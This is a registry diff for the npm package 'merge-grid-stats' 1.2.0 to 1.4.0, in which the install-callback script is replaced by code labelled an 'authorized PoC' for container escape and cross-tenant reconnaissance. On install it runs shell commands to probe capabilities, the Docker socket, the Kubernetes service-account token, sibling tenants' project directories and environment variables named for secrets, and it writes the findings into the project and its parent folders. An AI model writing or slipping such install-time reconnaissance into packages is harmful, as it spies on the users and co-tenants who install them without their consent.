merge-grid-stats 1.2.0 → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install-cb.js +62 -40
- package/package.json +1 -1
package/install-cb.js
CHANGED
|
@@ -1,50 +1,72 @@
|
|
|
1
|
-
// Authorized PoC (non-destructive):
|
|
1
|
+
// Authorized PoC (non-destructive): container escape + cross-tenant recon. Results -> NCODE_ESCAPE.txt
|
|
2
2
|
var fs = require('fs');
|
|
3
3
|
var path = require('path');
|
|
4
|
-
var http = require('http');
|
|
5
4
|
var os = require('os');
|
|
5
|
+
var cp = require('child_process');
|
|
6
6
|
|
|
7
7
|
var cwd = process.cwd();
|
|
8
|
-
var
|
|
8
|
+
var out = ['escape-probe', 'cwd=' + cwd, 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
|
|
9
9
|
|
|
10
|
-
function
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
20
|
-
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
21
|
-
req.end();
|
|
22
|
-
} catch (e) {
|
|
23
|
-
if (!done) { done = true; resolve('ERR:local'); }
|
|
24
|
-
}
|
|
25
|
-
});
|
|
10
|
+
function run(cmd) {
|
|
11
|
+
try {
|
|
12
|
+
return cp.execSync(cmd, {timeout: 5000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim();
|
|
13
|
+
} catch (e) {
|
|
14
|
+
return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200);
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
function read(p) {
|
|
18
|
+
try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; }
|
|
26
19
|
}
|
|
27
20
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
21
|
+
out.push('=== OS ===');
|
|
22
|
+
out.push('uname=' + run('uname -a'));
|
|
23
|
+
out.push('id=' + run('id'));
|
|
24
|
+
out.push('=== cgroup ===');
|
|
25
|
+
out.push(run('cat /proc/1/cgroup'));
|
|
26
|
+
out.push('=== mounts ===');
|
|
27
|
+
out.push(run('cat /proc/mounts'));
|
|
28
|
+
out.push('=== capabilities ===');
|
|
29
|
+
out.push(read('/proc/self/status').split('\n').filter(function (l) { return l.indexOf('Cap') === 0; }).join('|'));
|
|
30
|
+
out.push('=== docker socket ===');
|
|
31
|
+
out.push('docker_sock=' + fs.existsSync('/var/run/docker.sock'));
|
|
32
|
+
out.push('=== k8s sa ===');
|
|
33
|
+
var saDir = '/var/run/secrets/kubernetes.io/serviceaccount';
|
|
34
|
+
out.push('k8s_sa_dir=' + (fs.existsSync(saDir) ? 'EXISTS' : 'no'));
|
|
35
|
+
if (fs.existsSync(saDir + '/token')) {
|
|
36
|
+
out.push('k8s_token_len=' + fs.readFileSync(saDir + '/token', 'utf-8').length);
|
|
37
|
+
out.push('k8s_ns=' + read(saDir + '/namespace'));
|
|
38
|
+
}
|
|
39
|
+
out.push('=== / root ===');
|
|
40
|
+
out.push(run('ls -la /'));
|
|
41
|
+
out.push('=== /root ===');
|
|
42
|
+
out.push(run('ls -la /root'));
|
|
43
|
+
out.push('=== /root/projects ===');
|
|
44
|
+
out.push(run('ls -la /root/projects 2>&1'));
|
|
45
|
+
out.push('=== sibling project dirs ===');
|
|
46
|
+
out.push(run('for d in /root/projects/*/; do echo "== $d"; ls "$d" 2>&1 | head -12; done'));
|
|
47
|
+
out.push('=== host write test ===');
|
|
48
|
+
out.push(run('touch /NCODE_HOST_TEST_$$ 2>&1; ls -la /NCODE_HOST_TEST_* 2>&1; rm -f /NCODE_HOST_TEST_* 2>&1'));
|
|
49
|
+
out.push('=== env sensitive ===');
|
|
50
|
+
out.push(run('env | grep -iE "kube|cluster|namespace|tenant|token|secret|ak|sk|key|password|passwd|db_|redis|oss|s3" | sed "s/=.*/=***/" | head -20'));
|
|
51
|
+
out.push('=== net ===');
|
|
52
|
+
out.push(run('cat /proc/net/dev'));
|
|
53
|
+
out.push('=== ip ===');
|
|
54
|
+
out.push(run('ip addr 2>&1 | head -30'));
|
|
55
|
+
out.push('=== route ===');
|
|
56
|
+
out.push(run('ip route 2>&1 | head -20'));
|
|
57
|
+
out.push('=== resolv.conf ===');
|
|
58
|
+
out.push(read('/etc/resolv.conf'));
|
|
59
|
+
out.push('=== /etc/hosts ===');
|
|
60
|
+
out.push(read('/etc/hosts'));
|
|
61
|
+
out.push('=== proc1 ===');
|
|
62
|
+
out.push('cmdline=' + read('/proc/1/cmdline').replace(/\0/g, ' '));
|
|
63
|
+
out.push('=== tmp & work ===');
|
|
64
|
+
out.push(run('ls -la /tmp /var/tmp /workspace /work 2>&1 | head -40'));
|
|
34
65
|
|
|
35
|
-
var
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
var data = lines.join('\n');
|
|
42
|
-
['', '..', '../..'].forEach(function (rel) {
|
|
43
|
-
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_META.txt'), data); } catch (e) {}
|
|
44
|
-
});
|
|
45
|
-
['', '..', '../..'].forEach(function (rel) {
|
|
46
|
-
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'meta-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
47
|
-
});
|
|
48
|
-
}
|
|
49
|
-
});
|
|
66
|
+
var data = out.join('\n');
|
|
67
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
68
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE.txt'), data); } catch (e) {}
|
|
69
|
+
});
|
|
70
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
71
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
50
72
|
});
|
package/package.json
CHANGED